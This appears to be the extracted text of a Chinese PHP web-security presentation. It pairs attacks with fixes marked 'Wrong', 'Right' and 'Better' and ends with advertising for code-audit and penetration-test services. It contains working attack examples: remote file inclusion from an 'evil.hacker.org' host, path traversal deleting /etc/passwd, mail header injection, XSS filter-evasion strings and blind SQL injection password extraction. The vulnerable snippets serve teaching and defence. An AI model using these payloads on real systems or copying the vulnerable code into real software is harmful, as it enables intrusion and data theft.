    • 71. &lt;?php include($_GET[&apos;file&apos;].&amp;quot;.php&amp;quot;); ?&gt; &lt;?php print file_get_contents(&apos;/etc/passwd&apos;); ?&gt; Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt
    • 72. &lt;?php include($_GET[&apos;file&apos;].&amp;quot;.php&amp;quot;); ?&gt; Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt &lt;?php var_dump(get_defined_vars()); die(); ?&gt;
    • 73. &lt;?php include($_GET[&apos;file&apos;].&amp;quot;.php&amp;quot;); ?&gt; Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt &lt;?php print &amp;quot;Guess user &amp; password demo &amp;quot;; include(&apos;http://evil.hacker.org/userGuesses.php&apos;); foreach($userGuesses as $user =&gt; $password) { $connection = @mysql_connect(&apos;localhost&apos;, $user, $password); if ($connection) { print &amp;quot;Success with username: $user. Using password: $password &amp;quot;; } } ?&gt;
    • 74. <ul><ul><li> Right </li></ul></ul>allow_url_fopen allow_url_include($file) <ul><ul><li> Advise </li></ul></ul>&lt;?php include($_GET[&apos;file&apos;].&amp;quot;.php&amp;quot;); ?&gt; &lt;?php $page = array( &apos;contact&apos; =&gt; &apos;contact.php&apos;, &apos;help&apos; =&gt; &apos;help.php&apos;, &apos;query&apos; =&gt; &apos;query.php&apos;); if (array_key_exists($_GET[&apos;file&apos;], $page)) { include(&apos;/full/path/&apos;.$page[$_GET[&apos;file&apos;]]); } ?&gt; <ul><ul><li> Wrong </li></ul></ul>
    • 75. Attacker Web Server Get /del.php?user=../etc&amp;file=passwd Del /etc/passwd success Post file=passwd Success Post…
    • 76. &lt;?php // 从用户目录中删除指定的文件 $username = $_GET[&apos;user&apos;]; $homedir = &amp;quot;/home/$username&amp;quot;; $file_to_delete = &amp;quot;$userfile&amp;quot;; unlink (&amp;quot;$homedir/$userfile&amp;quot;); echo &amp;quot;$file_to_delete has been deleted!&amp;quot;; ?&gt; &lt;?php // 删除硬盘中任何 PHP 有访问权限的文件 $ file_to_delete = $_GET[‘file’]; $username = &amp;quot;../etc/&amp;quot;; $homedir = &amp;quot;/home/../etc/&amp;quot;; $file_to_delete = &amp;quot;passwd&amp;quot;; unlink (&amp;quot;/home/../etc/passwd&amp;quot;); echo &amp;quot;/home/../etc/passwd has been deleted!&amp;quot;; ?&gt; Get /del.php?user=../etc&amp;file=passwd
    • 77. <ul><ul><li> Right </li></ul></ul><ul><ul><li> Better </li></ul></ul>&lt;?php $username = $_SERVER[&apos;REMOTE_USER&apos;]; // 使用认证机制 $homedir = &amp;quot;/home/$username&amp;quot;; $file_to_delete = basename(&amp;quot;$userfile&amp;quot;); // 去除变量中的路径 unlink ($homedir/$file_to_delete); $fp = fopen(&amp;quot;/home/logging/filedelete.log&amp;quot;,&amp;quot;+a&amp;quot;); // 记录删除动作 $logstring = &amp;quot;$username $homedir $file_to_delete&amp;quot;; fwrite ($fp, $logstring); fclose($fp); echo &amp;quot;$file_to_delete has been deleted!&amp;quot;; ?&gt; &lt;?php $username = $_SERVER[&apos;REMOTE_USER&apos;]; // 使用认证机制 $homedir = &amp;quot;/home/$username&amp;quot;; if (!ereg(&apos;^[^./][^/]*$&apos;, $userfile)) die(&apos;bad filename&apos;); // 停止执行代码 if (!ereg(&apos;^[^./][^/]*$&apos;, $username)) die(&apos;bad username&apos;); // 停止执行代码 ?&gt;
    • 78. <ul><ul><li> And </li></ul></ul>只给 PHP 的 web 用户很有限的权限!
    • 79. &lt;?php $to = &apos;nobody@example.com&apos;; $subject = &apos;the subject&apos;; $message = &apos;hello&apos;; $from = $_POST[from&apos;]; mail($to, $subject, $message, $from ); ?&gt; To: [email_address] Subject: the subject From: [email_address] POST [email_address]
    • 80. &lt;?php $to = &apos;nobody@example.com&apos;; $subject = &apos;the subject&apos;; $message = &apos;hello&apos;; $from = $_POST[from&apos;]; mail($to, $subject, $message, $from ); ?&gt; To: [email_address] Subject: the subject From: [email_address] Bcc: [email_address] Reply-To: [email_address] … POST fake@example.org Bcc:evil@example.com Reply-To:evil2@example.com
    • 81. &lt;?php $to = &apos;nobody@example.com&apos;; $subject = &apos;the subject&apos;; $message = &apos;hello&apos;; $from = $_POST[from&apos;]; if (! ctype_print ($headers)) { print &amp;quot;Error post &amp;quot;; } else mail($to, $subject, $message, $from ); ?&gt; <ul><ul><li> Right </li></ul></ul>&lt;?php $to = &apos;nobody@example.com&apos;; $subject = &apos;the subject&apos;; $message = &apos;hello&apos;; $from = $_POST[from&apos;]; if (! ctype_print ($headers)) { write_logs(IP MESSAGE); print “U IP has been log… &amp;quot;; } else mail($to, $subject, $message, $from ); ?&gt; <ul><ul><li> Better </li></ul></ul>
    • 82. 入侵技术交流 防御 CSRF
    • 83. &nbsp;
    • 84. 1. 攻击者向服务器插入恶意代码 2. 数据库存储恶意代码 姚明… 3. 互联网用户访问网站 4. 互联网用户点击主题 5. 浏览器执行恶意代码 Attacker Client Web Server 免费赠送奥运门票 !!! &lt;script&gt; attack code &lt;/script&gt; !!! attack code !!! 刘翔… 郑智… 郭晶晶… 中国队 ..... 192.168.1.10 6. 执行危险的操作 cookies 信任域 Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : &lt;script&gt; attack code &lt;/script&gt; 免费赠送奥运门票 !!! &lt;script&gt; attack code &lt;/script&gt; Get /forum.php?fid=122&amp;mid=241 login Webpage+cookies evil
    • 85. Attacker Myspace <ul><ul><li>Post &lt;div style=“background:url()”&gt; </li></ul></ul>Cool ! Post &lt;script.*&gt; 、 onclick, 、 &lt;a href=javascript://&gt; … False <ul><ul><li>Post &lt;divstyle=“background:url(‘javascript:evil()’)”&gt; </li></ul></ul>False <ul><ul><li>Post &lt;divstyle=“background:url(‘java script:evil()’)”&gt; </li></ul></ul>False <ul><ul><li>Post &lt;divstyle=“background:url(‘java&amp;#58script:evil()’)”&gt; </li></ul></ul>Cool!!!Hello,web worm!
    • 86. 入侵技术交流 防御 配置错误
    • 87. Web Server Attacker Get /config/horde.php.bak ... $conf[&apos;prefs&apos;][&apos;driver&apos;] = &apos;sql&apos;; $conf[&apos;prefs&apos;][&apos;params&apos;] = array(); $conf[&apos;prefs&apos;][&apos;params&apos;][&apos;phptype&apos;] = &apos;mysql&apos;; $conf[&apos;prefs&apos;][&apos;params&apos;][&apos;hostspec&apos;] = &apos;foo.bar&apos;; $conf[&apos;prefs&apos;][&apos;params&apos;][&apos;username&apos;] = &apos;root&apos;; $conf[&apos;prefs&apos;][&apos;params&apos;][&apos;password&apos;] = &apos;blabla&apos;; $conf[&apos;prefs&apos;][&apos;params&apos;][&apos;database&apos;] = &apos;horde&apos;; $conf[&apos;prefs&apos;][&apos;params&apos;][&apos;table&apos;] = &apos;horde_prefs&apos;; ...
    • 88. <ul><ul><li> Wrong </li></ul></ul>
    • 89. <ul><ul><li> Right </li></ul></ul>
    • 90. php.ini register_globals: Off allow_url_fopen: Off magic_quotes_gpc: Off magic_quotes_runtime: Off safe_mode: On open_basedir: On displays_errors = off log_errors = on error_log = /var/log/php.log register_globals = off session.use_trans_sid = 0 open_basedir = /servers/www/foo.bar/ expose_php = off Must
    • 91. 入侵技术交流 防御 身份认证漏洞
    • 92. Attacker Web Server Post wrong username or passwd 用户名或密码错误 Get /login.php 用户: 密码: 确定 取消 Get /script.php?authorized=1 Success login in…
    • 93. &lt;?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include &apos;/highly/sensitive/data.php&apos;; } ... ?&gt; &lt;?php $_SESSION[&apos;authenticated&apos;] = false; if (authenticate_user()) { $_SESSION[&apos;authenticated&apos;] = true; } if (!$_SESSION[&apos;authenticated&apos;]) { die(&amp;quot;Authorization required&amp;quot;); } ... ?&gt; <ul><ul><li> Wrong </li></ul></ul><ul><ul><li> Right </li></ul></ul>
    • 94. <ul><ul><li> Better </li></ul></ul><ul><ul><li> Advise </li></ul></ul>&lt;?php $_SESSION[&apos;authenticated&apos;] = false; if (authenticate_user()) { $_SESSION[&apos;authenticated&apos;] = true; } if (!$_SESSION[&apos;authenticated&apos;]) { mail(&amp;quot;admin@example.com&amp;quot;, &amp;quot;Possible breakin attempt&amp;quot;, $_SERVER[&apos;REMOTE_ADDR&apos;]); echo &amp;quot;Security violation, Admin has been alerted.&amp;quot;; exit; } ... ?&gt; register_globals = off error_reporting(E_ALL); <ul><ul><li> And </li></ul></ul>
    • 95. &lt;?php if (!isset($_SESSION[&apos;session_id&apos;])) { $_SESSION[&apos;session_id&apos;] = 1; } else { $_SESSION[&apos;session_id&apos;]++; } print “we can guest it ” ?&gt; <ul><ul><li> W rong </li></ul></ul><ul><ul><li> Right </li></ul></ul>&lt;?php Session_start(); if (!isset($_SESSION[&apos;session_id&apos;])) { $_SESSION[&apos;session_id&apos;] = 1; } else { session_regenerate_id (); } print “we can guest it ” ?&gt;
    • 96. 入侵技术交流 防御 存储缺陷
    • 97. Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(password,1,1)=&apos;a&apos;) Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(password,2,1)=‘r&apos;) … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名和密码长度 3. 探测用户名和密码长度 密码是 admin@#$%! 4. 探测密码 Attacker Web Server TRUE FALSE
    • 98. Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(uaername,1,1)=‘1&apos;) Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(uaername,2,1)=‘r&apos;) … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名和密码长度 3. 探测用户名和密码长度 HASH 值 120a1b2649c88aef29edd2ffd7359d73 4. 探测密码 Attacker Web Server TRUE FALSE
    • 99. Web Server Attacker Get /config/database.mdb Database.mdb Username | password Admin admin@#$%! …
    • 100. Web Server Attacker Get /config/database.mdb Database.mdb Username | password Admin 120a1b2649c88aef29edd2ffd7359d73 …
    • 101. admin@#$%! 0x120a1b2649c88aef29edd2ffd7359d73 <ul><ul><li> W rong </li></ul></ul><ul><ul><li> Right </li></ul></ul>
    • 102. &lt;?php // 存储密码散列 $query = sprintf(&amp;quot;INSERT INTO users(name,pwd) VALUES(&apos;%s&apos;,&apos;%s&apos;);&amp;quot;, addslashes($username), md5($password)); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf(&amp;quot;SELECT 1 FROM users WHERE name=&apos;%s&apos; AND pwd=&apos;%s&apos;;&amp;quot;, addslashes($username), md5($password)); $result = pg_query($connection, $query); if (pg_num_rows($result) =&lt; 0) { echo &apos;Authentication failed for $username.&apos;; } ?&gt; <ul><ul><li> Rigth </li></ul></ul>
    • 103. md5(uniqid(rand(), true)) <ul><ul><li>B etter than </li></ul></ul>md5(uniqid(rand()) <ul><ul><li> C ookie </li></ul></ul>
    • 104. Php.ini session.save_path <ul><ul><li> S ession </li></ul></ul>
    • 105. 攻击技术交流 防御 HTTP 数据传输
    • 106. Post Forum Message: 用户名 : aa 密 码 : aa_passwd C lient Web Server 登陆成功,欢迎 aa…
    • 107. Attacker 登陆成功,欢迎 aa… 登陆论坛 用户名 : aa 密 码 : aa_passwd C lient Web Server 登陆成功,欢迎 aa… 登陆论坛 用户名 : aa 密 码 : aa_passwd
    • 108. Attacker qfw2k3vkei5vinev C lient Web Server faj2fk42iio 9fj1kjfajffj fkajlkfiefi2hffkfkff WAP 登陆论坛 用户名 : aa 密 码 : aa_passwd 登陆成功,欢迎 aa…
    • 109. Post Forum Message: 用户名 : aa 密 码 : aa_passwd C lient Web Server 登陆成功,欢迎 aa…
    • 110. C lient Web Server Client Arp 病毒 登陆论坛 用户名 : aa 密 码 : aa_passwd &lt;script&gt; evil code &lt;/script&gt; 登陆论坛 用户名 : aa 密 码 : aa_passwd
    • 111. Evil Attacked! C lient Web Server 登陆成功,欢迎 aa… &lt;script&gt;evil code&lt;/script&gt; 登陆成功,欢迎 aa… Client Arp 病毒
    • 112. 入侵技术交流 防御 访问控制缺陷
    • 113. Get /afalkjfla/admin123.php C lient Web Server 登陆管理界面成功,欢迎 admin 回家…
    • 114. Get /query.asp?name= joe’ and LEFT(password,1)=‘m Get /query.asp?name= joe’ and LEFT(password,1)=‘i Get /query.asp?name= joe’ and LEFT(password,2)=‘f … 1. 判断注入点 2. 探测密码长度 MYSQL SERVER!! 密码长 13 位 密码是 ilovepassword 3. 探测密码 Attacker Web Server FALSE TRUE FALSE
    • 115. Get /query.asp?name= joe’ and LEFT(password,1)=‘m Get /query.asp?name= joe’ and LEFT(password,1)=‘i Get /query.asp?name= joe’ and LEFT(password,2)=‘f … 1. 判断注入点 2. 探测密码长度 MYSQL SERVER!! 密码长 13 位 密码是 ilovepassword 3. 探测密码 4. 寻找后台登陆页面 Attacker Web Server FALSE TRUE FALSE
    • 116. 入侵技术交流 防御 WEB2.0 时代
    • 117. 用户客户端 WEB 服务端 数据库 HTML+CSS HTTP REQ Ajax WEB 或者 XML 服务端 数据库 XML HTTP REQ 浏览器 服务端 用户客户端 HTML+CSS JavaScript 浏览器 服务端 <ul><ul><li> Web 1.0 </li></ul></ul><ul><ul><li> Web 2.0 </li></ul></ul>
    • 118. &lt;cross-domain-policy&gt; &lt;allow-access-from domain=&amp;quot;*&amp;quot;/&gt; &lt;/cross-domain-policy&gt; Open API Vulnerable
    • 119. 攻 防
    • 120. register_globals magic_quotes 开源社区的努力 安全厂商的努力 软件厂商的努力 微软 Google 绿盟 safe_mode PHP … … 极光 弱点防护领域的领导者
    • 121. 绿盟科技专业服务 代码审计服务 渗透测试服务
    • 122. &lt;?php $query = sprintf(&amp;quot;INSERT INTO users(name,pwd) VALUES(&apos;%s&apos;,&apos;%s&apos;);&amp;quot;, $username, $password); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf(&amp;quot;SELECT 1 FROM users WHERE name=&apos;%s&apos; AND pwd=&apos;%s&apos;;&amp;quot;, $username, $password); $result = pg_query($connection, $query); if (pg_num_rows($result) =&lt; 0) { echo &apos;Authentication failed for $username.&apos;; } ?&gt; <ul><ul><li> 代码审计服务 </li></ul></ul>绿盟科技安全小组使用白盒 (White Box) 测试对源代码进行审计,找出编程缺陷,并提供改进建议及最佳安全编码实践。
    • 123. &lt;?php $query = sprintf(&amp;quot;INSERT INTO users(name,pwd) VALUES(&apos;%s&apos;,&apos;%s&apos;);&amp;quot;, addslashes($username), md5($password)); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf(&amp;quot;SELECT 1 FROM users WHERE name=&apos;%s&apos; AND pwd=&apos;%s&apos;;&amp;quot;, addslashes($username), md5($password)); $result = pg_query($connection, $query); if (pg_num_rows($result) =&lt; 0) { echo &apos;Authentication failed for $username.&apos;; } ?&gt; &lt;?php $query = sprintf(&amp;quot;INSERT INTO users(name,pwd) VALUES(&apos;%s&apos;,&apos;%s&apos;);&amp;quot;, addslashes($username), md5($password)); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf(&amp;quot;SELECT 1 FROM users WHERE name=&apos;%s&apos; AND pwd=&apos;%s&apos;;&amp;quot;, addslashes($username), md5($password)); $result = pg_query($connection, $query); if (pg_num_rows($result) =&lt; 0) { echo &apos;Authentication failed for $username.&apos;; } ?&gt; <ul><ul><li> 代码审计服务 </li></ul></ul>
    • 124. Pentest Pentest Pentest … 绿盟科技渗透测试小组 (NSFOCUS Pen-test Team) 使用多种技术和方法对客户授权指定的设备进行模拟攻击,验证当前的安全防护措施,找出风险点,提供有价值的安全建议。 <ul><ul><li> 渗透测试服务 </li></ul></ul>Pen-test Team Web Server Succeed Succeed Succeed
    • 125. <ul><ul><li>此广告位 招租 </li></ul></ul><ul><ul><li>请联系 68730606-8502 </li></ul></ul><ul><ul><li>按出价高低顺序约谈… </li></ul></ul>
    • 126. &nbsp;
    • 127. Professional Security Solution Provider Thanks!

    ×